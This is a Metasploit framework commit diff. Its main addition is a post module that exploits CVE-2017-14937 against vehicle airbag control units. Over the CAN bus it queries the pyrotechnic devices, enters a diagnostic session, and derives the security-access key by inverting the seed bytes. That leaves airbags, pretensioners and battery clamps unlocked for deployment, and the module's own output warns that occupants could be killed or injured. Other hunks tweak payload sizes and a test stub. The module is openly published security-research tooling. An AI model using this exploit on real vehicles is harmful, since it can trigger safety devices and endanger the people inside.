@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 57762
CachedSize = 58354
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 57714
CachedSize = 58306
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -0,0 +1,309 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex'
require 'msf/core/post/hardware/automotive/uds'
class MetasploitModule < Msf::Post
include Msf::Post::Hardware::Automotive::UDS
include Msf::Post::Hardware::Automotive::DTC
def initialize(info={})
super( update_info( info,
'Name' => 'Check For and Prep the Pyrotechnic Devices (Airbags, Battery Clamps, etc.)',
'Description' => %q{ Acting in the role of a Pyrotechnical Device Deployment Tool (PDT), this module
will first query all Pyrotechnic Control Units (PCUs) in the target vehicle
to discover how many pyrotechnic devices are present, then attempt to validate
the security access token using the default simplified algorithm. On success,
the vehicle will be in a state that is prepped to deploy its pyrotechnic devices
(e.g. airbags, battery clamps, etc.) via the service routine. (ISO 26021) },
'License' => MSF_LICENSE,
'Author' => [
'Johannes Braun', # original research
'Juergen Duerrwang', # original research
'Craig Smith' # research and module author
],
'References' =>
[
[ 'CVE', '2017-14937' ],
[ 'URL', 'https://www.researchgate.net/publication/321183727_Security_Evaluation_of_an_Airbag-ECU_by_Reusing_Threat_Modeling_Artefacts' ]
],
'Platform' => ['hardware'],
'SessionTypes' => ['hwbridge']
))
register_options([
OptInt.new('SRCID', [true, 'Module ID to query', 0x7f1]),
OptInt.new('DSTID', [false, 'Expected reponse ID, defaults to SRCID + 8', 0x7f9]),
OptInt.new('PADDING', [false, 'Pad the packet with extra bytes to always be 8 bytes long', 0x00]),
OptString.new('CANBUS', [false, 'CAN Bus to perform scan on, defaults to connected bus', nil])
])
end
LOOP_TABLE = {
0x00 => 'ISOSAEReserved',
0x01 => 'airbag driver side frontal 1st stage',
0x02 => 'airbag left side frontal 1st stage',
0x03 => 'airbag right side frontal 1st stage',
0x04 => 'airbag driver side frontal 2nd stage',
0x05 => 'airbag left side frontal 2nd stage',
0x06 => 'airbag right side frontal 2nd stage',
0x07 => 'airbag driver side frontal 3rd stage',
0x08 => 'airbag left side frontal 3rd stage',
0x09 => 'airbag right side frontal 3rd stage',
0x0A => 'airbag passenger side frontal 1st stage',
0x0B => 'airbag passenger side frontal 2nd stage',
0x0C => 'airbag passenger side frontal 3rd stage',
0x0D => 'airbag left side frontal 3rd stage',
0x0E => 'airbag right side frontal 3rd stage',
0x0F => 'airbag passenger frontal 1st stage - center',
0x10 => 'airbag passenger frontal 2nd stage - center',
0x11 => 'airbag passenger frontal 3rd stage - center',
0x12 => '1st pretensioner driver side',
0x13 => '1st pretensioner left side',
0x14 => '1st pretensioner right side',
0x15 => '2nd pretensioner driver side',
0x16 => '2nd pretensioner left side',
0x17 => '2nd pretensioner right side',
0x18 => '1st pretensioner passenger side',
0x19 => '2nd pretensioner passenger side',
0x1A => '1st pretensioner passenger - center',
0x1B => '2nd pretensioner passenger - center',
0x1C => '1st pretensioner (2nd row) left',
0x1D => '2nd pretensioner (2nd row) left',
0x1E => '1st pretensioner (2nd row) right',
0x1F => '2nd pretensioner (2nd row) right',
0x20 => '1st pretensioner (2nd row) center',
0x21 => '2nd pretensioner (2nd row) center',
0x22 => '1st pretensioner (3rd row) left',
0x23 => '2nd pretensioner (3rd row) left',
0x24 => '1st pretensioner (3rd row) right',
0x25 => '2nd pretensioner (3rd row) right',
0x26 => '1st pretensioner (3rd row) center',
0x27 => '2nd pretensioner (3rd row) center',
0x28 => 'belt force limiter driver side',
0x29 => 'belt force limiter left side',
0x2A => 'belt force limiter right side',
0x2B => 'belt force limiter passenger side',
0x2C => 'belt force limiter passenger side - center',
0x2D => 'belt force limiter 2nd row - left',
0x2E => 'belt force limiter 2nd row - right',
0x2F => 'belt force limiter 2nd row - center',
0x30 => 'belt force limiter 3rd row - left',
0x31 => 'belt force limiter 3rd row - right',
0x32 => 'belt force limiter 3rd row - center',
0x33 => 'headbag - driver side (roof mounted)',
0x34 => 'headbag - passenger side (roof mounted)',
0x35 => 'headbag - right side (roof mounted)',
0x36 => 'headbag - left side (roof mounted)',
0x37 => 'headbag - 2nd row - left (roof mounted)',
0x38 => 'headbag - 2nd row - right (roof mounted)',
0x39 => 'headbag - 3rd row - left (roof mounted)',
0x3A => 'headbag - 3rd row - right (roof mounted)',
0x3B => 'sidebag (curtain) - driver side',
0x3C => 'sidebag (curtain) - passenger side',
0x3D => 'sidebag (curtain) - left side',
0x3E => 'sidebag (curtain) - right side',
0x3F => 'sidebag (curtain) - 2nd row - left',
0x40 => 'sidebag (curtain) - 2nd row - right',
0x41 => 'sidebag (curtain) - 3rd row - left',
0x42 => 'sidebag (curtain) - 3rd row - right',
0x43 => 'sidebag - driver side (door mounted)',
0x44 => 'sidebag - passenger side (door mounted)',
0x45 => 'sidebag - left side (door mounted)',
0x46 => 'sidebag - right side (door mounted)',
0x47 => 'sidebag - 2nd row - left (door mounted)',
0x48 => 'sidebag - 2nd row - right (door mounted)',
0x49 => 'sidebag - 3rd row - left (door mounted)',
0x4A => 'sidebag - 3rd row - right (door mounted)',
0x4B => 'seatbag (cushion) - driver side (seat mounted)',
0x4C => 'seatbag (cushion) - passenger side (seat mounted)',
0x4D => 'seatbag (cushion) - left side (seat mounted)',
0x4E => 'seatbag (cushion) - right side (seat mounted)',
0x4F => 'seatbag (cushion) - 2nd row - left (seat mounted)',
0x50 => 'seatbag (cushion) - 2nd row - right (seat mounted)',
0x51 => 'seatbag (cushion) - 3rd row - left (seat mounted)',
0x52 => 'seatbag (cushion) - 3rd row - right (seat mounted)',
0x53 => 'kneebag - driver side',
0x54 => 'kneebag - passenger side',
0x55 => 'kneebag - left side',
0x56 => 'kneebag - right side',
0x57 => 'kneebag - passenger side - center',
0x58 => 'footbag - driver side',
0x59 => 'footbag - passenger side',
0x5A => 'footbag - left side',
0x5B => 'footbag - right side',
0x5C => 'footbag - passenger side - center',
0x5E => 'active headrest - driver side',
0x5F => 'active headrest - passenger side',
0x60 => 'active headrest - left side',
0x61 => 'active headrest - right side',
0x62 => 'active headrest - passenger side - center',
0x63 => 'active headrest - 2nd row - left',
0x64 => 'active headrest - 2nd row - right',
0x65 => 'active headrest - 2nd row - center',
0x66 => 'active headrest - 3rd row - left',
0x67 => 'active headrest - 3rd row - right',
0x68 => 'active headrest - 3rd row - center',
0x69 => 'battery clamp main battery',
0x6A => 'battery clamp 2nd battery',
0x6B => 'battery clamp 3rd battery',
0x6C => 'battery clamp 4th battery',
0x6D => 'roof-airbag front',
0x6E => 'roof-airbag front',
0x6F => 'bag in belt driver side',
0x70 => 'bag in belt passenger side',
0x71 => 'bag in belt left side',
0x72 => 'bag in belt right side',
0x73 => 'bag in belt passenger side - center',
0x74 => 'bag in belt 2nd row - left',
0x75 => 'bag in belt 2nd row - right',
0x76 => 'bag in belt 2nd row - center',
0x77 => 'bag in belt 3rd row - left',
0x78 => 'bag in belt 3rd row - right',
0x79 => 'bag in belt 3rd row - center',
0x7A => 'rollover bar #1',
0x7B => 'rollover bar #2',
0x7C => 'rollover bar #3',
0x7D => 'rollover bar #4',
0x7E => 'active anti-submarining driver seat',
0x7F => 'active anti-submarining passenger seat',
0x80 => 'active anti-submarining left seat',
0x81 => 'active anti-submarining right seat',
0x82 => 'active anti-submarining passenger seat - center',
0x83 => 'active anti-submarining seat 2nd row - left',
0x84 => 'active anti-submarining seat 2nd row - right',
0x85 => 'active anti-submarining seat 2nd row - center',
0x86 => 'active anti-submarining seat 3rd row - left',
0x87 => 'active anti-submarining seat 3rd row - right',
0x88 => 'active anti-submarining seat 3rd row - center',
0x89 => 'pedestrian protection front left hood lifter',
0x8A => 'pedestrian protection front right hood lifter',
0x8B => 'pedestrian protection rear left hood lifter',
0x8C => 'pedestrian protection rear right hood lifter',
0x8D => 'pedestrian protection a-pillar left',
0x8E => 'pedestrian protection a-pillar right',
0x8F => 'pedestrian protection wind screen',
0x90 => 'pedestrian protection bumper left',
0x91 => 'pedestrian protection bumper center',
0x92 => 'pedestrian protection bumper right',
0x93 => 'active steering column',
0x94 => 'front screen - emergency release',
0x95 => 'read window - emergency release'
}
ACL_TYPES = {
0x01 => 'CAN only',
0x02 => 'ACL Comm Mode 12V',
0x03 => 'ACL PWM FixedLevel 8V',
0x04 => 'ACL Comm Mode 24V',
0x05 => 'ACL PWM UbattLevel 12V',
0x06 => 'ACL PWM UbattLevel 24V'
}
PCU_ADDRESS_FORMAT = {
0x01 => '11 bit normal addressing',
0x02 => '11 bit extended addressing',
0x03 => '11 bit mixed addressing',
0x04 => '29 bit normal fixed addressing',
0x05 => '29 bit mixed addressing',
0x06 => '29 bit unique addressing'
}
def print_vin(vin)
return "" if vin.nil?
vin.map! { |d| d.hex.chr }
print_status(" VIN: #{vin.join}")
end
def print_loop_table(loopid)
print_status("Loop info (#{loopid[2].hex} pyrotechnic devices):")
(3..loopid.size).each do |i|
if i % 2 == 1
if loopid[i] && (LOOP_TABLE.key? loopid[i].hex)
print_status(" #{loopid[i]} | #{LOOP_TABLE[loopid[i].hex]}")
else
print_status(" #{loopid[i]} | <<UNKNOWN>>")
end
else
if loopid[i] && loopid[i].hex == 0
print_status(' | Deployment Status: Good')
else
print_status(" | Deployment Status: Fail (#{loopid[i]})")
end
end
end
end
def run
opt = {}
opt['PADDING'] = datastore['PADDING'] unless datastore['PADDING'].nil?
print_status('Gathering Data...')
vin = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xF1, 0x90], opt)
no_of_pcus = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x00], opt)
no_of_iso_version = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x01], opt)
address_format = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x02], opt)
loopid = read_data_by_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], [0xFA, 0x06], opt)
acl_type_definition = loopid[0]
acl_type_version = loopid[1]
no_of_charges = loopid[2]
print_vin(vin)
print_loop_table(loopid)
print_status(" Number of PCUs in vehicle | #{no_of_pcus[0].hex}")
print_status(' Info About First PCU')
print_status(" Address format this PCU(s) | #{PCU_ADDRESS_FORMAT[address_format[0].hex]}")
print_status(" Number of pyrotechnic charges | #{no_of_charges.hex}")
print_status(" Version of ISO26021 standard | #{no_of_iso_version[0].hex}")
print_status(" ACL type | #{ACL_TYPES[acl_type_definition.hex]}")
print_status(" ACL Type version | #{acl_type_version.hex}")
print_status
print_status('Switching to Diagnostic Session 0x04...')
resp = set_dsc(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x04, opt)
if resp.key? 'error'
print_error("Could not switch to DSC 0x04: #{resp['error']}")
return
end
# We may not need tester present at all because we will perform the action quickly
send_tester_present(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
print_status('Getting Security Access Seed...')
seed = get_security_token(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], 0x5F, opt)
if seed.key? 'error'
print_error("Couldn't get seed: #{seed['error']}")
return
end
print_status("Success. Seed: #{seed['SEED']}")
print_status('Attempting to unlock device...')
display_warning = false
if seed['SEED'][0].hex == 0 && seed['SEED'][1].hex == 0
print_status('Security Access Already Unlocked!!')
display_warning = true
else
key = [0xFF - seed['SEED'][0].hex, 0xFF - seed['SEED'][1].hex]
resp = send_security_token_response(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], key, 0x60, opt)
if (resp.key? 'error') && !(resp['error'].key? 'RCRRP')
print_error("Invalid SA Response. System not vulnerable. Error: #{resp['error']}")
return
end
found_valid = false
if (resp.key? 'Packets') && resp['Packets'].size > 0
resp['Packets'].each do |i|
found_valid = true if (i.key? 'DATA') && i['DATA'].size > 1 && i['DATA'][1] == '67'
end
end
if found_valid
print_status('Success!')
display_warning = true
else
print_error("Unknown response: #{resp.inspect}")
end
end
if display_warning
print_warning('Warning! You are now able to start the deployment of airbags in this vehicle')
print_warning('*** OCCUPANTS OF THE VEHICLE FACE POTENTIAL DEATH OR INJURY ***')
end
end
end

View File

@ -14,7 +14,7 @@ RSpec.describe Rex::Post::Meterpreter::ClientCore do
allow(@response).to receive(:result) { 0 }
allow(@response).to receive(:each) { [:help] }
@client = double("client")
allow(@client).to receive(:binary_suffix) { "x64.dll" }
allow(@client).to receive(:binary_suffix) { ["x64.dll"] }
allow(@client).to receive(:capabilities) { {:ssl => false, :zlib => false } }
allow(@client).to receive(:response_timeout) { 1 }
allow(@client).to receive(:send_packet_wait_response) { @response }